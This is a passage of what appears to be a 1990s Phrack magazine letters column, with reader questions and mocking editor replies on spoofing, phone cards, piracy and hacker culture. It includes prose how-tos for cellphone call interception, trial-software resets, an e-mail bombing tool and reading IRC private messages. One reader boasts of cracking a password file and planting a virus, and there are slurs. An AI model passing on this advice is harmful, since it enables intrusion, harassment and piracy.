Medium difficulty, you have to construct a path between your machine and the target, and a path between your machine and the trusted host (although the last part can be made up). Use this and either the strict or loose IP routing option, and all packets will come back to=20 you. This will not work nearly as much, since many hosts and=20 routers discard source routed packets (it is a well‑known flaw in=20 TCP/IP now). However, mightn't buggy implementations only discard one type of source routing?

3) Experimental ‑ ICMP redirect attack

Try using ICMP redirects to redirect the packets back to the=20 attacking machine. ICMP redirects should only be accepted to=20 machines on a local subnet, but buggy implementations might not do this correctly (actually, I think the Host Requirements RFC says=20 this is recommended, not required). Also, it may be possible to =20 create a path using redirects or forged routing updates to direct traffic to a trusted site back to the attacking site. After the attack, the routing information could be repaired, making it seem like a temporary network failure. If anyone followed this and knows what I mean, let me know if you think it's possible. =20

Thanks

Zach

[ Zach, you have good ideas and points. Now, why haven't YOU written an article for Phrack???

You should...<hint><hint> ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DEATH TO THE INNOCENT

I WENT TO A PARTY, MOM, I REMBERED WHAT YOU SAID.

YOU TOLD ME NOT TO DRINK, MOM, SO I DRANK SODA INSTEAD.

I REALLY FELT PROUD INSIDE, MOM, THE WAY YOU SAID I WOULD.

I DIDN'T DRINK AND DRIVE, MOM, THOUGH THE OTHERS SAID I SHOULD. I KNOW I DID THE RIGHT THING, MOM, I KNOW YOUR ALWAYS RIGHT. NOW THE PARTY IS ENDING, MOM, AS EVERONE IS DRIVING OUT OF SIGHT.

AS I GOT INTO MY CAR, MOM, I KNEW I'D GET HOME IN ONE PIECE. BECAUSE OF THE WAY YOU RAISED ME, SO RESPONSIBLE AND SWEET.

I STARTED DRIVING AWAY, MOM, BUT AS I PULLED INTO THE ROAD, THE OTHER CAR DIDN'T SEE ME, MOM, AND HIT ME LIKE A LOAD.

AS I LAY HERE ON THE PAVEMENT, MOM, I HEAR THE POLICE MAN SAY, THE OTHER GUY IS DRUNK, MOM, AND NOW I'M THE ONE WHO WILL PAY. I'M LYING HERE DYING. MOM, I WISH YOU'D GET HERE SOON.

HOW COULD THIS HAPPEN TO ME, MOM? MY LIFE JUST BURST LIKE A BALLOON. THERE IS BLOOD ALL AROUND ME, MOM, AND MOST OF IT IS MINE.

I HEAR THE MEDIC SAY, MOM, I'LL DIE IN A SHORT TIME.

I JUST WANTED TO TELL YOU, MOM, I SWEAR I DIDN'T DRINK.

IT WAS THE OTHERS, MOM. THE OTHERS DID NOT THINK.

HE WAS PROBIBLY AT THE SAME PARTY AS I.

THE ONLY DIFFERENCE IS, HE DRANK AND I WILL DIE.

WHY DO PEOPLE DRINK, MOM? IT CAN RUIN YOUR HOLE LIFE.

I'M FEELING SHARP PAINS NOW. PAINS JUST LIKE A KNIFE.

THE GUY WHO HIT ME IS WALKING, MOM, AND I DON'T THINK IT'S FAIR. I'M LYING HERE DYING AND ALL HE CAN DO IS STARE.

TELL MY BROTHER NOT TO CRY MOM, TELL DADDY TO BE BRAVE.

AND WHEN I GO TO HEAVEN, MOM, PUT DADDY'S GIRL ON MY GRAVE. SOMEONE SHOUYLD HAVE TOLD HIM, MOM, NOT TO DRINK AND DRIVE.

IF ONLY THEY HAD TOLD HIM, MOM, I WOULD STILL BE ALIVE.

MY BREATH IS GETTING SHORTER, MOM. I'M BECOMING VERY SCARED. PLEASE DON'T CRY FOR ME, MOM, WHEN I NEEDED YOU, YOU WERE ALWAYS THERE. I HAVE ONE LAST QUESTION, MOM, BEFORE I SAY GOODBYE.

I DIDN'T DRINK AND DRIVE, MOM, SO WHY AM I THE ONE TO DIE?

[ Interesting...booze, violence. Now, if only this little story had some forced sodomy of teenage schoolgirls...

Man, I have no shame...drinking and driving is evil, and will get you shot in Central America for attempted homicide. That's why I take cabs or hang around with 12‑steppers or mormons. Either way, it gives you someone to subject to your drunken ravings.

Now why this was sent to Phrack, I have no idea. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I just have one question, i just moved back down to Texas from NY,,, is there any one at phrack that knows local BBS numbers for san antonio???

thanx for the help,

[In almost any city with running water and electricity (and yes, even San Antonio qualifies as of this writing), in any local computer store you will find local compu‑nerd publications. I think in San Antonio its "Computer User." In any case, in the back are usually listings of local bulletin boards. Start with these, and eventually you will come across the kinds of bulletin boards you really want. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The trial of the Danes arrested in the article I wrote in #47 has now ended. No jail sentences, just community service up to 200 hours (me) and a fine of 30.000Dkr. (apx. $5000).

Anyway, remember I wrote you about the article being quoted and translated to Danish in a Danish magazine? Well, after the same magazine published our REAL names, adrs with the advice not to hire us for any jobs I got pretty sick of them and sent them a bill of DKr 5000, billing them for my article.=20

Of course, they won't pay me (would rather go to court) so now I'm considering taking them on their word. The company I'd be going after is a daughtercompany of Coopers & Lybrand and is called Institute of Datasecurity. Most of their employees seem to be notorious idiots, always proclaiming themselves in the media with the anecdotes of yesterday. They even gave out an award (money) to the DA who prosecuted us for doing a nice job!=20

Well, since they didn't only violate my personal copyright but also the restrictions of Phrack Magazine itself, I wanted to know if I could get your support? Just some kind of written statement about the policy of the magazine, whether or not they paid you for it, etc.

In a hurry, dont mind the mistakes,

Le Cerveau

[ Can you please send a photocopy of that article to us at the Phrack mailing address? Maybe we can help.

I really don't have much respect for the accounting firms "computer security" teams, and never have. In the years they've been doing this work, they STILL don't get it.

It's too bad you aren't in America. You could probably sue the living= hell

out of everyone involved, if they really did publish your names and advise people not to hire you for work. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HEY Whats up,

I was wondering if U could tell me how to e‑mail bomb Please!!!!=20

[No, that's a stupid thing to do.

But, if you insist....

Go do a WWW search for the program "UpYours" This should

suit your needs just fine. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

I was wondering if you know where i can get copies of "The Journal of Privileged Information"? I have issues 1‑5, and i`m looking for 6 present. If you know where i can get them, it would be greatly appriciated!! thanx

techcode

[ I'm not really familiar with this magazine, but if anyone out there has copies of this, email us with information on where to get more. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Phrack,

Great job on issue 49. I enjoyed the section in Line Noise about ID machine hacking. Anyway, I wanted to say that Phrack rules; it is by far my favorite computer hobbyist magazine. By the way, I remember reading= a

letter that a reader sent in, about some queer selling bound volumes of= Phrack,

LOD Tech Journals, and virus source code. A similar occurance happended to me when I found that some wannabe‑elite pseudo‑hacker was selling printed copies of Phrack, 40 Hex, Digital Free Press, and Xeroxed copies of= alt.2600.

I was curious, to say the least, and felt compelled to defend the honor of those aforementioned publications. I talked to the fag, and I gained his trust by using undecipherable hacker jargon that he seemed awed by. It= turns

out that he had been distributing pirated junk on his PC, using an= unregistered

copy of Serv‑U. I gave him a registration crack, and in return he gave me= an

account on his machine, so I could download his warez. I logged on to his PC one day, and I quickly found the serv‑u.ini file with the encrypted passwords.

Since Serv‑U uses Unix style encryption, I cracked his personal account in about 17 minutes. He kept a TCP/IP connection open from 4pm to 11pm every evening, and I logged on as him one day. I uploaded a virus to the windows system directory and renamed it something benign, and then I edited his autoexec.bat to execute it (I also used Fixtime from the Nowhere Utilities 2.0 to make it smooth). I haven't heard from him since. That one was a simple job to protect the rights of cool magazines like Phrack!

Take it easy, and keep the issues coming.

dethbug

[ If only all readers were as loyal. Or better yet, if only all readers sent us a dollar!

Seriously though...a virus was a bit much, but since we weren't there to sue to protect our copyright...

But uh, let it be known that you were not directed by, nor acting as an agent of Phrack Magazine, and any and all such behavior was done purely on your own behalf. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Does this cost anything ?=20

LORDCYBRON

[ Unfortunately it does, but only your mortal soul. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack,

We would like permission to republished Chris Goggans'

(Erik Bloodaxe) editorials from issue 4.42 to issue

7.48 in Node9: An E‑Journal of Writing and Technology.

http://node9.phil3.uni‑freiburg.de

There is a lot of interest in hacker culture in

cultural studies, and Chris Goggans' editorials give

a good snapshot of the hacker's side of the from

last three years.=20

We could tell our readers to simply go to Phrack and get

the editorials themselves, but putting the editorials

together makes them more effective. Plus, for many of

our readers, a number of names, terms, events need to

be annotated.

Jon Adams=20

[ Well Jon, Phrack has always had a policy of letting people reprint articles / editorials / whatever as long as all pieces remain intact with all credit given to the original author and to Phrack Magazine. If you can do that, feel free to use the editorials. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Hackers

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

I have only one question for you, please answer me. I read in your magazine

> =3D=3DPhrack Magazine=3D=3D

>

> Volume Seven, Issue Forty‑Eight, File 10 of 18 >

> Electronic Telephone Cards: How to make your own!

> ~~~~~~~~~~~~~~~~~~~~~~~~~

Its very excelent for people who live in country when used the cards from=20 Gemplus, Solaic, Schlumberger, Oberthur: (French cards 256 bit). But I live= in=20

Slovak Republic and in this country we use The cards from ODS, Giesecke &=20 Devrient, ORGA Karten systeme, Uniqua, Gemplus, Schlumberger and Oldenbourg= =20

Kartensysteme (German cards 128 bit).

I am was reading in some paper that some people have emulator of these=20 telephone cards (German card). Emulator with PIC procesor.

But I very very long time searching Internet and I have not information how= =20

I make this emulator. Only in your magazine I found help how I make=20 emulator but emulator which emulate french telephone card but I need=20 emulator which emulate german telephone card.

Please help me if You know some adress where I can find information=20 HOW I MAKE TELEPHONE CARD EMULATOR (WITH PIC PROCESSOR) WHICH EMULATE=20 TELEPHONE CARD TYPE GERMAN TELEPHONE CARD (128 BITS).

Thanks very much, for your answer. realllly thanks, i am waiiiiting.

!!!!! M A X O !!!!!

[ Actually, we don't but perhaps this request will bring in some information from people in Germany. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Can you please send me some hacker stuff that I can use on AOL.

THANX

[ The most important tool a hacker can have is a brain. Unfortunately, since you are on AOL, it appears that your tool box is empty. Perhaps you'd be more interested in some cool beavis & butthead .WAV files... ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Looking for talented hackers for special projects.

First project concerns breaking source code. Please respond.

Justin Raprager=20

<adamas@raprager.com>

[ You probably can't afford any of us on the Phrack Staff. Your request is being passed on the the readers. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Is your web site the best kept secret on the Internet?

We'll promote it to 50 search engines and indexes for $85 and complete the job in 2 business days. Satisfaction is guaranteed!

Owl's Eye Productions, Inc.

260 E. Main Street

Brewster, NY 10509

Phone: (914) 278‑4933

Fax: (914) 278‑4507

Email: owl@owlsnest.com

[ Now, if our site is a secret, then how did you morons know about us? I think a better sales pitch is:

"Is your Web Site Secure?"

We'll give your info to several million hackers for FREE who will be sure to subject it to an extesive battery of security testing ranging from exploitation of remote security vulnerabilties to denial of service attacks. Your site will be profiled continuously for months until people grow tired of causing you grief.

Would Owl's Eye Productions, Inc. care to be the first for this amazing new service? Let us know. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Ray Wardell <ray.wardell@novix.com>

To: phrack@well.com

Subject: FUCK YOU

FUCK YOU ... YOU DUMB ASS SHIT HEAD... FUCK WITH ME AND DIE...

[ Uh, ok. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, I would like to become a hacker. I just watched that movie HACKERS. It got me all siked up. If you could give me some information on how to become one, I would be apreciative.

[ So if you had watched "Buttman Goes To Budapest" then Stagliano would be getting this email instead of Phrack?

Dude...it was only a movie. And a bad one at that. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi there !

Your article of the PIC16C84‑Phonecard includes a uuencoded part that contains the file "telecard.zip". telecard.zip contains the file telecard.pcb which was created with Tango PCB Series 2.

My version of Accel Tango PCB Version 12 is not able to read this file. So, I want to ask you, if its possible to send me this file in ASCII‑Format or (better) in a graphic‑format like PCX or GIF.

A HP‑Laserjet‑prn‑viewer would be useful, too.

I was also not able to read the schematic‑file. Maybe you know a location on the internet where I can get an evaluation version of the older version of Tango PCB Series II.

[ Actually, we've got the same problem here at Phrack. Anyone out there who can help, please send us email and we'll get it out to the masses! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi my name is Konrad. I live in Ottawa, Onratio (Canada). I have a question about one thing. When I download a trial program from internet, it is only good for 30 days, and when it expires it writes that, to some file so I tried reinsalling and redownloading the program, but when I tried to run it, it gave me a message that this version is expired and that I have to purchase the program. Do you know, to what file it registers that it has expired, and how to disable it. If you don't know how to do it, maybe you know someone that might be able to do it, and forward my address to them. It is very important to me, because I'm finishing a home page called Teen Online and my graphic program expired (TrueSpace2) and there is no way that I can afford it, so I rather stick to trial version. Ok... Thanks for your time.=20

Konrad

[ Usually you can simply reinstall these trial programs and use them for another 30 days. With others, you can change your system date back, or edit a date in an INI file. It all depends on the program. Try some of these things and let us know what works. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Why don't you write somthing for the bulgarian hackers? (recent:take a look at everything that happened in Varna, Bulgaria this= year)

M a n i a X K i l l e r i a n

[ We'd love to print something about the Bulgarian scene. Honestly, I have no idea what happened in Varna, nor would I know where to look.

Here's a novel idea: Since you are IN Bulgaria, why don't you write something about it for us! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm using BPI Accounts Receviable System Version 1.10 for IBM Released September 1983

It has whats called a "key disk" that allows only the person with that disk to closeout the program or month. The problem is this, when I make a copy of this Key Disk the files match the original to the T.. There are only 2 files involved. But, when I try to closeout, BPI asks me to insert the Key Disk and press enter to proceed. When I do this with the "copy" of the Key Disk the BPI program tells me that the copy is not a Key Disk. This only happens with the copy, any ideas?=20

Both Key Disks contain the same information. If I try to activate the close directly from the Key Disk Copy it tells me that it can't find a file, basrun.exe I checked and this file is part of the BPI Directory on C: I've used this accounting software for many years and it works well. But I'm afraid the good Key Disk may go bad one day and I'll be stuck. Thats why I'm trying to make a copy. Any help would be appreciated.

[ Obviously there is something else on that disk that a normal copy is not getting. Maybe something as simple as a volume label or some hidden files.

The easiest thing to do to get around this is make a sector by sector copy to a disk image file using some kind of program like the UNIX command "dd" and then copy that image back onto a blank diskette. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi!

Here I have something for you, which may be interesting in your news= section.

Sometime during the night between Saturday April 5th and Sunday April 6th, hackers broke into one of Telenor Nextel's webservers and deleted the= homepages

of 11.000 private customers and 70 corporate customers, among them the= homepages

of Norway's two largest newpapers VG and Dagbladet, and the largest online= news

magazine, Nettavisen.

The hackers somehow got access to hidden scripts, and after modifying and manipulating them ran them, thereby deleting all the files mentioned.

Early Sunday, the ISP Telenor Nextel started restoring files from a backup= made

Saturday, but after encountering problems with that one, they had to restore from Tuesday's backup. Saturday's backup will be added sometime during= Monday.

=D8kokrim, Norwegian police's department for Economic Crime has been= contacted.

=09

Reactions:

Sverre Holm of Norway's Organization for Internet Users (http://www.ibio.no)

criticize Telenor for lack of proper information, as well as an unhealthy attitude. In response to Telenor's comment that they can't guarantee this= won't

happen again, he says, "Such an attitude can't be tolerated. If this is what Telenor means, then we have a serious problem here."

Other reactions will surely come in the next days.

References (all in Norwegian):

Telenor Internett:

http://internett.telenor.no/

Scandinavia Online:

http://www.sol.no/ (Telenor's online service)

SOL Direkte: http://www.sol.no/snpub/SNDirekte/index.cgi?kategori=3DNett‑Nytt

Nettavisen:

http://www.nettavisen.no/Innenriks/860330846.html

I hope this could be interesting to you, and a candidate for your news flash pages. Unfortunately, any references included are to pages in Norwegian, but anyone with you speaking either Norwegian, Swedish, or Danish should be able= to

get more information.

Cheers,

O L I K

[ We here at Phrack always want to know what is going on out there on planet Earth. Keep us informed of anty other developments! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm investigating some informatic viruses who infect images generating new fractalized images with a never seen beauty and singularity. Or may=20 be they investigate me. These viruses could broke sohemer in many diverse=20 disciplines like art, artificial life, fractals maths, digital image..=20 if you look web's images http://antaviana.com/virus/angles.htm you will=20

understand everything. I would be acknowledged if you could help me, and=20 it is posible i would like you to diffusse this subject in your interesting publication.

In the name of biodiversity, if you have these VIRUSES,

PLEASE DON'T DISTROY THEM.

[ Ok. We won't. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi !

I read In Volume Seven, Issue Forty‑Eight, File 11 of 18 ‑ How to make own telephon card . But when i try to make it , this card didnt work ! I try all things, and i try to find more informations about telephone cards, but i still dont know what's wrong !

But today i found on http://www.hut.fi/~then/electronics/smartcards.html

that there is some errors, but there is no information what's wrong.=20 So i decidet to write to Phrack magazine , becouse in article is eriten to mail all questions to Phrack....=20

Please send me info what is wrong, and how i must change the ASM program to work correctly or just PLEASE send me email of contact person who knows how to !!

Thanx in advance !

Marko

[ Obviously that little smartcard article caused a stir. We've got all= kinds

of email about it. We'll see what more we can dig up, but we are going to really need some help from Europeans and South Americans. (Smart cards are not in use here in America!) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LOA is back!!! Visit our new page at:

http://www.hackers.com/LOA

Check it out and be sure to send your comments to revelation@hackers.com Volume 2 of The Ultimate Beginner's Guide To Hacking And Phreaking has been released as well, so be sure to download it and send me your comments. Be sure to check out the LOA Files section to view and download past, present, and future LOA Projects. Take it easy all...

[ No offense intended, but did you ever wonder why there were so many "Legions of" whatever after LOD?

We'll put a link up to your page though... ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, did you know that Juno (the nationwide free email service) has PPP access? Free? To superusers only? Who login directly to their terminals that have no ANI? And that they are complete fucking idiots, because in every juno.ini file buried deep in the /juno/user00000x/ directory there is a section called "Variables" which lists at least one Juno server account, i.e. "junox14" and a password for it. These work. Not that I've tried them, or do this, or can be held in any way legally responsible for my non‑PGP encrypted actions, which do not show my views, and are protected under the 1st Amendment.

Sorry, didn't feel like using alternate caps today.

l8r,

‑dArkl0rd‑

[ Interesting. We'll have to get the Juno software and play without the advertisements!

Thanks, Mr. Shaw ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi. I've got a strange request. We're putting together a case that encourages the U.S. to loosen its encryption export policies.

Do you know of any written resources that discuss the ability of hackers to break into NASA, tamper with launches or satellites? The folks at infowar.com insist that it is possible, but say that confidentiality won't allow them to publish that fact.

We need written evidence to document the case, you understand.

Anyway, I'd appreciate hearing from you.

Jonathan

[ I'd suggest you talk to Emmanuel Goldstein at 2600. The whole satellite thing came from a bogus post back in the early 80's on a BBS in New Jersey called "The Private Sector." Reporters siezed on it, resulting in headlines like "Wiz Kids Zap Satellites."

2600 wrote about this in I believe 1984 or 1985. Check with them for better details. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Queridos crackeadores:

Les quiero pedir si no saben de donde puedo sacar programas para crackear y phrackear.

=20

Desde ya mucahas gracias:

Mauricio

[ Existan muchos programas en sitos de FTP y WWW en todos los piases del mundo. No sabes de donde puedes sacarlos? Compredes "Webcrawler" o "Excite"? Dios mio. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Phrack;

Intro to Telephony and PBX systems in Phrack#49 was excellent, pulled a=20 lot of things together for me. That's probably the clearest, most=20 concise explanation of the phone system that I've ever read. Hopefully=20 Cavalier will be up for many more articles like that in the future.

respects,

jake

[ Thanks! Hopefully we can continue have more telephony related articles in the future. It is fast becoming a lost art in today's hacker community. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hey.. a Note To Say, 1‑Greetings From IreLand..

2‑Thanks A million.. I love Phrack..

3‑Where Is The NexT Issue.. Whats up doc..=20

4‑do ya have info/schematics on the shit that allows one to break into cellfone conversation and chat briefly to callers, as described in winn schwartaus excellent article on Defcon ][ ?Cellfone

5‑Is Phrack on a Mailing List?? if so, Can ya Stick me On it?

Many ThanKs

NasTy Nigel,

[PhreaK PowEr]

[ 1. Greetings to you too gobshite!

2. Thanks!

3. You're reading it.

4. Not that I was in the room making those calls mentioned in that article or anything, but... :)

An Oki‑900 with CTEK cable hooked to a PC running omnicell tracking calls. A motorola brick phone in debug mode, hooked to a 25db gain yagi antenna (on a tripod) pointed out the window. As Omnicell locked in on interesting calls, the Motorola was tuned to the corresponding channel, Tx Audio turned on, various humorous interrupts were uttered, and Tx Audio turned off so the party being "contacted" wouldn't be thrown off their cell channel by our more powerful broadcast. Very simple.

5. The mailing list now is so huge that it will only serve to let people know when issues are going out, special bulletins, etc. Mailing out a meg to almost 30,000 people causes serious problems to the Internet, so we decided to make the change. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I just wanted to drop a line and say that you guys are doing a great job with the zine. I just got issue 49 and I'm looking forward to reading it. I'm sure you've heard of The Works, the bbs with the most text files in the US. Well, it's finally back online, after six months in the gutter. For the best text files and the coolest users east of the Mississippi, call us up. +1 617 262 6444. You can't go wrong with the Works. We want you to call.

[ It's amazing that BBSes like The Works are still around, even with a bit of down time. What's it been? 10 years? Geez.

You're approaching the longevity of Demon Roach or P‑80. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm doing research on hackers for my LIB 105 class and have come across some of what I guess is tech speak or jargon. I've noticed that the letters 'PH' are frequently used to intentionaly mispell the words phreak, lopht, and in Phrak Magazine. Is there a reason behind all of these PHunny spellings?

[ Uh, PH as in Phone. From the old Phone "Phreak" subculture of the late 60's, early 70's.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I think a great idea for a future article would be how to make a decoder card for a DSS sattelite reciever with some easy commercial stuff and a cmos Z‑80 I.C. ...

[ If it were that easy, there would be a bigger number of players in the billion dollar industry of satellite piracy. A key figure in that closed community once told me that it cost them about $1,000,000 US to crack each new rev of smart card. (But when you figure that means only selling 10000 pirate cards at 100 bucks, the cost of doing business is minimal, compared to the cost of the service provider sending out new software and cards to each subscriber.) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, I am a Primestar installer, I was wondering if you knew anything about how to stop Primestar from de‑authorizing their unused IRD's? I know of 2 installation screens accessable through the password screen using #'s 996 & 114, do you know of any others? I would appreciate any info you might have.

Thanks,

[ And Phrack would appreciate ANY info you have! ANYTHING! EVERYTHING! As an installer, you probably have some insights into the cards/recievers that we don't. Write them up! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For certain reasons, some people may want to create a new anonymous mail box. Did they considered to create it in France?

A lot of IPS offer the possibility to create mailboxes to those who have no computers by using a primitive look‑alike telnet system: the French Minitel. This is convenient because a couple millions of Minitel have been freely distributed in France during the last ten years. The only cost is that an overcharge is billed to your phone bill of approx 35cents per minute. But this is perfectly legal and hard to trace back. Hyperterminal (at least in its french version) emulates the french minitel.

The only thing is to dial 3615 in France and use one of this server: ABCNET, ACENET, ADNET, ALTERN,FASTNET,EMAIL...

For example, EMAIL creates an e‑mail adresse like: pseudonym@xmail.org.

The only thing is that you have to know a little bit of French to use it, but just a little bit. The cost of a call (International and Minitel overcharge) should not be a problem to some of you. LeFrenchie

[ This is a good idea. People outside of France don't know much about Minitel, (Or any videotext systems) since they failed in a big way here in the states and most other countries. Many old hackers might remember some of the Minitel Chat systems also accessible over X.25 such as QSD (208057040540), but without emulation software wouldn't have ever had access to the real Minitel. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Two questions

1 How can I connect to an IRC server though a firewall?

2 How can I intercept messages sent to chanserv and nickserv on Dal.net?

Thank you.

[ 1. Open up ports 6665‑6667

2. Set up a hacked IRC server. Get someone important to add it to the EFNET server hierarchy. Look for PRIVMSG to whomever you want. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

A modem has a light buffer between the copper wires of the telephone line and the rest of the copper printed circuit ( mother) board. How ( or does) does a firewall prevent hacks on a system or is this just a matter of Modern (Mastodon) buffalo hunting: They go down the same big or small. Specifically , beyond smart self learning systems can a server realy prevent contamination without the intervention of beings? My sister a suposed Webmistress says there are intervening buffers, I still see that between what ever, there is a very big freaking leap of faith.. Senor Please Elucidate

Richard

[ Uh, if you think the "firewall" is that light buffer between the wires, then you have missed the point. A firewall in the networking context is not the same as the metal firewall in your automobile....it is merely a metaphor that has been adopted as the term d'jour.

Please read: Building Internet Firewalls by Brent Chapman & Elizabeth Zwicky or Firewalls & Internet Security by Cheswick & Bellovin ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

> Drop us a line on what you think of 49. Comments are encouraged.

I think issue 49 was great, not to mention getting it out on time. I do have a suggestion though. The past few issues of Phrack have focused mainly on=20 UNIX and not much else. I think UNIX is a great OS, but it would be cool if occasionally you would print a few articles about other systems. I would=20 write one myself but right now I don't have anything new to contribute.=20

Later,

Tetbrac

[ This has been a request for a long time. Hopefully we'll get some articles on other operating systems some day. Personally, I'd like to see VMS, MVS and OS‑400. Any takers? ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I just finished reading issue 48, and congratulate you on some excellent techinical articles. I have only one (rather insignificant) comment: within the article #13 on project neptune, it was stated: "[the urgent pointer] is TCP's way of implementing out of band (OOB) data." Actually, URG pointers are in band (specification‑wise), however most (but not all) TCP implementations map the URG flag to out of band. While this point is irrelevant to SYN flooding, I thought I would present it in case anyone who read the article is interested in pursuing any nuts & bolts transport layer implementations. Keep up the good work, and keep turning out more of this kind of technical information.

ammit‑thoth

[ Point noted. Thanks! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Listen... you've probably been noticing that I've mailed you guys a couple times asking for help with hacking. Before I have never recieved any mail back. You have got to please mail me back this time. I found something on accident that is really out of my league. You guys are the best I know of that might be able to help me. I really need your help on this one. I was fucken around on Telnet just typing in numbers in the Chicago area code. On accident I typed in numbers and I entered a NASA Packet Switching System ( NPSS). It said it was a government computer system and to leave right away. Please mail me back for the numbers. I need your help to get into this system.... I need yer help.

[ Let me guess, you typed the prefix 321 instead of 312 while playing on Telenet. The systems you'll find on that prefix have been hacked at for nearly two decades now. Systems on the network were targeted in the 80's by Germany's Chaos Computer Club, and I personally know they have been poked at by groups in the US, UK and Australia starting back in 1981.

What I'm trying to say is, after so many years of people beating on the same few systems, shouldn't you look for something a bit less stale? ]

